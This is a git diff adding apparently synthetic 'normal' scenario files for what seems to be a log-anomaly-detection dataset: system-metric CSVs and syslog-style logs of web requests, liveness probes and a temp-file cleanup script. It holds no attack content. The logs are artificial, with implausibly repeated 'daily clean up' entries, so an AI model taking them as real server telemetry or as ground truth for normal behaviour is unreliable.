Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:03 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:23 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:35 cleanup_script[1234]: INFO: Found and deleted 1533 expired session files. +Jul 02 12:03:39 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:51 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:01 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:13 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 02 12:04:23 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 02 12:04:36 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:53 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 02 12:05:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:58 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 02 12:06:07 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:28 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:41 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:51 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:11 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:22 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_4/norm_4_29.csv b/norm_dataset/scenario_4/norm_4_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..d4f1a213ea2a83c36fc7ea073494b6c3dd83753d --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_29.csv @@ -0,0 +1,91 @@ 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status=200 OK +Jul 02 12:00:50 sshd[3456]: Accepted publickey for user admin from 192.168.1.10 port 22 +Jul 02 12:01:15 web-app[1456]: GET /api/v1/user/99 status=200 OK +Jul 02 12:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:00 cleanup_script[6790]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:03:15 cleanup_script[6790]: INFO: Scanning directory /tmp for expired files... +Jul 02 12:04:30 cleanup_script[6790]: INFO: Scanning directory /var/cache for orphaned cache files... +Jul 02 12:05:05 cleanup_script[6790]: INFO: Found and deleted 1500 expired session files. +Jul 02 12:05:20 cleanup_script[6790]: INFO: Found and deleted 350 orphaned cache files. +Jul 02 12:05:30 cleanup_script[6790]: INFO: Filesystem cleanup finished successfully. +Jul 02 12:05:55 web-app[1456]: GET /api/v1/products status=200 OK +Jul 02 12:06:20 systemd[1]: Daily network connection upkeep finished. +Jul 02 12:06:40 web-app[1456]: GET /api/v1/user/10 status=200 OK +Jul 02 12:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:05 sshd[3456]: Disconnected from user admin 192.168.1.10 port 22 +Jul 02 12:07:25 systemd[1]: Reached target Timers. diff --git a/norm_dataset/scenario_4/norm_4_3.csv b/norm_dataset/scenario_4/norm_4_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..9f9e864552251911f1bb3cf894ae8e9998267e1c --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,18.75,42.82,26.6,1.11,1.12 +2025-08-18T10:00:05Z,13.03,43.31,23.48,0.98,1.23 +2025-08-18T10:00:10Z,11.12,43.71,15.85,1.26,1.11 +2025-08-18T10:00:15Z,19.23,42.31,15.98,1.45,1.53 +2025-08-18T10:00:20Z,18.75,43.98,17.21,0.8,1.6 +2025-08-18T10:00:25Z,16.05,43.93,16.25,1.06,1.31 +2025-08-18T10:00:30Z,17.26,40.67,17.82,1.0,1.42 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+2025-08-18T10:07:10Z,10.8,43.56,28.86,0.58,1.17 +2025-08-18T10:07:15Z,18.1,43.51,16.9,0.76,1.41 +2025-08-18T10:07:20Z,16.19,42.76,15.19,1.14,1.17 +2025-08-18T10:07:25Z,11.78,42.16,24.4,1.13,1.15 diff --git a/norm_dataset/scenario_4/norm_4_3.log b/norm_dataset/scenario_4/norm_4_3.log new file mode 100644 index 0000000000000000000000000000000000000000..aa9c43a1dfbff83eeb0a79ec4e8aa5aa84696229 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_3.log @@ -0,0 +1,17 @@ +Aug 18 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:39 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:54 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:14 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:35 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:51 systemd[1]: Starting daily clean up activities... +Aug 18 10:02:27 systemd[1]: Starting daily clean up activities... +Aug 18 10:02:49 systemd[1]: Starting daily clean up activities... +Aug 18 10:03:32 systemd[1]: Starting daily clean up activities... +Aug 18 10:04:03 systemd[1]: Starting daily clean up activities... +Aug 18 10:04:31 systemd[1]: Starting daily clean up activities... +Aug 18 10:04:53 systemd[1]: Starting daily clean up activities... +Aug 18 10:05:17 systemd[1]: Starting daily clean up activities... +Aug 18 10:05:49 systemd[1]: Starting daily clean up activities... +Aug 18 10:06:12 systemd[1]: Starting daily clean up activities... +Aug 18 10:06:37 systemd[1]: Starting daily clean up activities... +Aug 18 10:06:54 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_4/norm_4_30.csv b/norm_dataset/scenario_4/norm_4_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..b8be289bdd75554087301f7da77b268a8e5a7125 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.01,38.85,35.0,1.16,1.09 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+2025-07-02T12:06:45Z,6.05,35.69,21.94,1.39,1.26 +2025-07-02T12:06:50Z,14.17,39.61,35.45,0.85,0.82 +2025-07-02T12:06:55Z,9.65,38.72,28.33,1.12,0.76 +2025-07-02T12:07:00Z,12.0,42.13,27.81,1.19,0.77 +2025-07-02T12:07:05Z,15.27,39.55,28.13,1.21,0.5 +2025-07-02T12:07:10Z,17.35,38.74,26.61,1.4,0.89 +2025-07-02T12:07:15Z,16.78,38.56,34.95,1.1,1.05 +2025-07-02T12:07:20Z,15.89,38.99,24.3,1.45,0.67 +2025-07-02T12:07:25Z,18.46,41.13,30.17,1.28,0.95 diff --git a/norm_dataset/scenario_4/norm_4_30.log b/norm_dataset/scenario_4/norm_4_30.log new file mode 100644 index 0000000000000000000000000000000000000000..b6992926a34b7b1bd7100e4e5f72cd4cd6bebf7b --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_30.log @@ -0,0 +1,57 @@ +Jul 02 12:00:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:00:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:00:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:00:25 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:00:30 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:00:45 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:00:50 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:01:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:01:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:01:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:01:25 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:01:30 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:01:45 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:01:50 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:02:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:02:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:02:25 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:02:30 CRON[8074]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:30 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:02:31 cleanup_script[8075]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:45 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:02:50 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:03:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:03:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:03:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:03:25 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:03:30 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:03:45 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:03:50 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:04:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:04:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:04:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:04:25 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:04:30 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:04:40 cleanup_script[8075]: INFO: Found and deleted 1450 expired session files. +Jul 02 12:04:41 cleanup_script[8075]: INFO: Filesystem cleanup finished. +Jul 02 12:04:45 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:04:50 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:05:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:05:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:05:25 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:05:30 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:05:45 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:05:50 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:06:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:06:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:06:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:06:25 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:06:30 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:06:45 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:06:50 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:07:00 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:07:00 web-app[2251]: GET /api/v1/user/99 status=200 OK +Jul 02 12:07:15 web-app[2251]: GET /api/v1/health status=200 OK +Jul 02 12:07:25 web-app[2251]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_31.csv b/norm_dataset/scenario_4/norm_4_31.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ad5d18a1406afcdaf94721d7f73052085370559 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_31.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,12.38,44.25,25.16,1.45,1.06 +2025-08-22T14:00:05Z,13.49,35.95,26.79,1.35,0.7 +2025-08-22T14:00:10Z,11.45,39.73,25.01,1.0,1.11 +2025-08-22T14:00:15Z,11.32,35.45,27.18,1.17,0.74 +2025-08-22T14:00:20Z,14.66,35.86,38.44,0.97,1.26 +2025-08-22T14:00:25Z,18.58,38.29,37.13,1.1,1.0 +2025-08-22T14:00:30Z,16.86,38.76,20.36,1.27,0.7 +2025-08-22T14:00:35Z,10.52,39.18,34.41,1.38,1.07 +2025-08-22T14:00:40Z,14.49,41.7,38.0,1.5,0.8 +2025-08-22T14:00:45Z,19.7,43.36,21.53,1.22,1.09 +2025-08-22T14:00:50Z,13.16,39.44,25.63,0.86,1.2 +2025-08-22T14:00:55Z,12.93,39.61,34.26,1.29,1.1 +2025-08-22T14:01:00Z,13.2,40.05,38.28,1.25,1.12 +2025-08-22T14:01:05Z,12.73,42.12,35.98,1.47,1.07 +2025-08-22T14:01:10Z,13.77,43.37,24.04,1.07,0.83 +2025-08-22T14:01:15Z,15.08,42.63,35.78,0.89,1.04 +2025-08-22T14:01:20Z,12.42,41.11,22.18,0.98,0.93 +2025-08-22T14:01:25Z,18.65,37.86,20.26,1.31,0.81 +2025-08-22T14:01:30Z,13.62,39.53,38.91,1.36,1.24 +2025-08-22T14:01:35Z,16.09,44.33,28.27,1.11,0.85 +2025-08-22T14:01:40Z,14.45,40.85,30.05,1.48,1.17 +2025-08-22T14:01:45Z,13.01,44.88,31.84,0.93,0.8 +2025-08-22T14:01:50Z,10.86,36.46,21.63,1.38,0.78 +2025-08-22T14:01:55Z,11.61,44.75,32.76,1.41,0.84 +2025-08-22T14:02:00Z,17.08,44.1,20.51,1.08,1.16 +2025-08-22T14:02:05Z,16.02,38.38,25.06,1.22,1.09 +2025-08-22T14:02:10Z,19.97,36.53,35.02,0.85,0.91 +2025-08-22T14:02:15Z,19.29,40.86,34.16,0.8,0.79 +2025-08-22T14:02:20Z,14.28,38.88,24.17,0.9,1.17 +2025-08-22T14:02:25Z,16.85,40.19,20.21,1.03,1.13 +2025-08-22T14:02:30Z,80.54,38.7,201.82,1.43,0.92 +2025-08-22T14:02:35Z,83.46,46.89,179.31,1.26,1.2 +2025-08-22T14:02:40Z,75.93,45.84,232.81,1.25,0.81 +2025-08-22T14:02:45Z,94.23,39.77,223.35,0.81,1.2 +2025-08-22T14:02:50Z,84.9,43.6,165.34,1.46,1.14 +2025-08-22T14:02:55Z,93.12,42.47,230.81,1.37,1.11 +2025-08-22T14:03:00Z,77.07,38.7,166.5,1.31,0.93 +2025-08-22T14:03:05Z,75.15,40.07,174.21,1.27,1.16 +2025-08-22T14:03:10Z,77.24,40.04,180.73,1.39,1.12 +2025-08-22T14:03:15Z,88.78,45.12,226.26,1.17,1.27 +2025-08-22T14:03:20Z,91.1,45.73,228.7,1.21,0.85 +2025-08-22T14:03:25Z,70.69,45.98,213.54,1.43,0.79 +2025-08-22T14:03:30Z,76.56,47.32,236.48,1.23,0.74 +2025-08-22T14:03:35Z,87.54,41.93,172.67,1.33,0.94 +2025-08-22T14:03:40Z,88.46,39.97,198.76,1.18,0.7 +2025-08-22T14:03:45Z,78.88,42.45,163.36,1.37,1.0 +2025-08-22T14:03:50Z,88.48,43.92,165.69,1.17,0.83 +2025-08-22T14:03:55Z,81.12,43.05,227.05,1.41,1.26 +2025-08-22T14:04:00Z,74.48,42.6,201.66,1.37,0.88 +2025-08-22T14:04:05Z,89.49,44.41,217.79,0.85,1.15 +2025-08-22T14:04:10Z,77.31,42.7,184.21,1.16,0.79 +2025-08-22T14:04:15Z,88.24,44.87,209.41,1.22,0.71 +2025-08-22T14:04:20Z,78.47,46.95,208.99,1.0,0.89 +2025-08-22T14:04:25Z,90.17,41.62,247.41,1.36,1.08 +2025-08-22T14:04:30Z,87.96,45.94,234.47,1.49,1.06 +2025-08-22T14:04:35Z,15.88,41.43,30.67,1.19,1.11 +2025-08-22T14:04:40Z,16.29,41.45,36.52,1.11,0.72 +2025-08-22T14:04:45Z,11.91,41.79,22.55,1.42,1.04 +2025-08-22T14:04:50Z,15.8,44.68,32.52,1.22,0.82 +2025-08-22T14:04:55Z,16.88,42.1,34.28,0.99,0.78 +2025-08-22T14:05:00Z,18.12,38.03,35.03,0.91,1.08 +2025-08-22T14:05:05Z,15.3,36.62,33.94,1.23,1.07 +2025-08-22T14:05:10Z,18.49,44.19,21.75,1.34,1.27 +2025-08-22T14:05:15Z,17.88,38.6,28.89,0.98,0.9 +2025-08-22T14:05:20Z,17.91,44.55,36.77,0.96,1.01 +2025-08-22T14:05:25Z,17.48,40.27,23.98,1.0,0.76 +2025-08-22T14:05:30Z,18.53,36.2,28.47,1.25,0.89 +2025-08-22T14:05:35Z,14.98,35.32,38.55,1.23,1.14 +2025-08-22T14:05:40Z,16.29,39.43,22.97,0.92,1.25 +2025-08-22T14:05:45Z,15.29,41.09,20.87,0.9,1.12 +2025-08-22T14:05:50Z,18.23,39.38,34.26,1.25,0.83 +2025-08-22T14:05:55Z,11.42,39.75,24.17,1.03,1.18 +2025-08-22T14:06:00Z,16.2,41.36,22.82,1.44,1.08 +2025-08-22T14:06:05Z,13.99,39.99,31.18,1.12,1.21 +2025-08-22T14:06:10Z,11.5,40.83,33.07,1.47,0.72 +2025-08-22T14:06:15Z,11.51,38.23,21.96,0.89,1.23 +2025-08-22T14:06:20Z,14.95,44.83,38.65,0.83,1.3 +2025-08-22T14:06:25Z,18.7,38.92,35.88,1.01,0.76 +2025-08-22T14:06:30Z,14.34,35.43,32.9,1.29,1.3 +2025-08-22T14:06:35Z,10.1,36.79,24.29,0.9,0.8 +2025-08-22T14:06:40Z,13.92,43.38,32.91,1.05,1.14 +2025-08-22T14:06:45Z,15.08,41.81,28.43,0.85,1.18 +2025-08-22T14:06:50Z,11.49,38.13,38.35,1.16,1.16 +2025-08-22T14:06:55Z,15.99,44.83,39.92,1.02,0.87 +2025-08-22T14:07:00Z,19.89,41.32,27.97,1.08,1.09 +2025-08-22T14:07:05Z,15.04,44.9,22.33,1.28,0.82 +2025-08-22T14:07:10Z,17.47,36.93,39.28,0.86,0.81 +2025-08-22T14:07:15Z,17.92,40.03,28.43,1.03,0.73 +2025-08-22T14:07:20Z,14.57,39.13,35.79,1.09,1.08 +2025-08-22T14:07:25Z,18.27,37.82,35.31,1.08,0.82 diff --git a/norm_dataset/scenario_4/norm_4_31.log b/norm_dataset/scenario_4/norm_4_31.log new file mode 100644 index 0000000000000000000000000000000000000000..c3294b27a1ce1f131da5404f54b68b11a09ee2a5 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_31.log @@ -0,0 +1,13 @@ +Aug 22 14:00:00 web-app[2233]: GET /api/v1/health status=200 OK +Aug 22 14:00:45 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 22 14:01:50 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:02:30 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 22 14:02:31 systemd[1]: Starting Filesystem Cleanup Script... +Aug 22 14:02:32 cleanup_script[7533]: INFO: Starting cleanup_tmp_files.sh. +Aug 22 14:02:33 cleanup_script[7533]: INFO: Scanning /tmp and /var/log for files older than 7 days. +Aug 22 14:03:35 web-app[2233]: GET /api/v1/user/99 status=200 OK +Aug 22 14:04:30 cleanup_script[7533]: INFO: Found and deleted 1582 expired session files from /tmp. +Aug 22 14:04:32 cleanup_script[7533]: INFO: Found and deleted 25 old log archives from /var/log. +Aug 22 14:04:35 cleanup_script[7533]: INFO: Filesystem cleanup finished successfully. +Aug 22 14:05:10 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:07:25 web-app[2233]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_32.csv b/norm_dataset/scenario_4/norm_4_32.csv new file mode 100644 index 0000000000000000000000000000000000000000..33dfaa51d9cb2d075663390a7148cc1ccd81b5fa --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_32.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,16.57,39.19,16.09,0.8,0.73 +2025-08-24T10:00:05Z,19.12,38.96,8.47,0.94,1.25 +2025-08-24T10:00:10Z,16.8,42.49,5.0,0.67,1.02 +2025-08-24T10:00:15Z,15.84,41.33,15.5,1.0,0.82 +2025-08-24T10:00:20Z,14.99,39.59,14.57,0.59,0.69 +2025-08-24T10:00:25Z,23.36,41.17,10.19,1.19,0.97 +2025-08-24T10:00:30Z,16.11,36.78,5.0,1.02,0.9 +2025-08-24T10:00:35Z,13.14,38.9,5.0,1.07,0.94 +2025-08-24T10:00:40Z,8.89,39.86,8.06,1.06,0.68 +2025-08-24T10:00:45Z,12.42,36.85,5.0,1.26,0.91 +2025-08-24T10:00:50Z,17.94,38.62,7.52,0.99,0.48 +2025-08-24T10:00:55Z,14.79,35.53,6.65,0.64,0.91 +2025-08-24T10:01:00Z,10.99,41.66,15.02,0.87,0.96 +2025-08-24T10:01:05Z,14.52,39.46,13.78,0.62,1.2 +2025-08-24T10:01:10Z,14.0,37.71,7.28,1.02,0.88 +2025-08-24T10:01:15Z,20.61,37.56,12.04,1.32,0.77 +2025-08-24T10:01:20Z,14.14,41.5,13.72,0.93,1.05 +2025-08-24T10:01:25Z,19.02,41.7,5.0,1.07,1.13 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10:00:20 web-app[3456]: GET /api/v1/user/37 status=200 OK +Aug 24 10:00:35 systemd[1]: Starting daily clean up activities... +Aug 24 10:00:40 web-app[3456]: GET /api/v1/user/19 status=200 OK +Aug 24 10:01:00 web-app[3456]: GET /api/v1/user/42 status=200 OK +Aug 24 10:01:10 systemd[1]: Starting daily clean up activities... +Aug 24 10:01:20 web-app[3456]: GET /api/v1/user/44 status=200 OK +Aug 24 10:01:40 web-app[3456]: GET /api/v1/user/20 status=200 OK +Aug 24 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 24 10:02:00 web-app[3456]: GET /api/v1/user/44 status=200 OK +Aug 24 10:02:20 systemd[1]: Starting daily clean up activities... +Aug 24 10:02:20 web-app[3456]: GET /api/v1/user/35 status=200 OK +Aug 24 10:02:30 CRON[8765]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 24 10:02:31 cleanup_script[8767]: INFO: Starting cleanup_tmp_files.sh. +Aug 24 10:02:36 cleanup_script[8767]: INFO: Scanning /var/log for files older than 30 days. +Aug 24 10:02:55 cleanup_script[8767]: INFO: Scanning /tmp for expired session files. +Aug 24 10:03:05 cleanup_script[8767]: INFO: Found and deleted 1500 expired session files. +Aug 24 10:03:06 cleanup_script[8767]: INFO: Cleanup complete. Freed 1.8GB of space. +Aug 24 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:03:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:03:45 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:04:10 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:04:35 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:05:00 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:05:25 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:05:50 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:06:15 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:06:40 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:07:05 web-app[3456]: GET /api/v1/data status=200 OK +Aug 24 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_4/norm_4_33.csv b/norm_dataset/scenario_4/norm_4_33.csv new file mode 100644 index 0000000000000000000000000000000000000000..708fef9fa543300c79efa3278476edfc2efab976 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_33.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.675531957199787,35.042528331886714,27.187364793265917,0.9764597774314805,1.0540512227436858 +2025-07-02T12:00:05Z,11.113006654586973,38.741466330477124,21.47347559774865,1.0117400683473066,0.9573436286124821 +2025-07-02T12:00:10Z,11.573054442234062,43.807470007717676,20.070470263813935,1.0453311461419572,0.7131432635000468 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0000000000000000000000000000000000000000..fd025fdf73143dae63ca71e2a7446f4c626e44bc --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_33.log @@ -0,0 +1,29 @@ +Jul 02 12:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 CRON[6789]: (root) CMD (run-parts /etc/cron.daily) +Jul 02 12:02:31 cleanup_script[6795]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:32 cleanup_script[6795]: INFO: Scanning directory /tmp for files older than 7 days. +Jul 02 12:04:55 cleanup_script[6795]: INFO: Found and deleted 1823 expired session files. +Jul 02 12:04:56 cleanup_script[6795]: INFO: Filesystem cleanup finished successfully. +Jul 02 12:05:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:05 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_34.csv b/norm_dataset/scenario_4/norm_4_34.csv new file mode 100644 index 0000000000000000000000000000000000000000..046f281a00465ebebc97df8a73a75a2c7a253244 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_34.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,17.62,38.82,19.42,1.1,0.81 +2025-07-03T10:00:05Z,10.06,38.73,27.52,1.25,0.43 +2025-07-03T10:00:10Z,18.03,40.1,15.43,1.11,0.78 +2025-07-03T10:00:15Z,15.67,37.47,23.68,1.12,1.08 +2025-07-03T10:00:20Z,18.43,40.14,21.38,1.43,1.03 +2025-07-03T10:00:25Z,14.89,40.44,15.33,1.01,0.75 +2025-07-03T10:00:30Z,10.96,39.98,26.65,0.95,0.94 +2025-07-03T10:00:35Z,10.03,39.5,27.71,0.76,0.78 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+2025-07-03T10:07:20Z,15.34,43.48,28.09,1.04,0.9 +2025-07-03T10:07:25Z,10.78,40.3,24.87,1.2,0.81 diff --git a/norm_dataset/scenario_4/norm_4_34.log b/norm_dataset/scenario_4/norm_4_34.log new file mode 100644 index 0000000000000000000000000000000000000000..73e4569a401614e8ed6e649084cd4c20a0c6c4e2 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_34.log @@ -0,0 +1,37 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:00 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 03 10:00:20 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 03 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:40 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 03 10:01:00 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 03 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:20 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 03 10:01:40 web-app[1234]: GET /api/v1/user/28 status=200 OK +Jul 03 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:00 web-app[1234]: GET /api/v1/user/49 status=200 OK +Jul 03 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 03 10:02:40 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 03 10:02:55 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:00 web-app[1234]: GET /api/v1/user/17 status=200 OK +Jul 03 10:03:20 CRON[4123]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 03 10:03:20 root[4125]: INFO Starting cleanup_tmp_files.sh. +Jul 03 10:03:45 root[4125]: INFO Found and deleted 1293 expired session files. +Jul 03 10:03:45 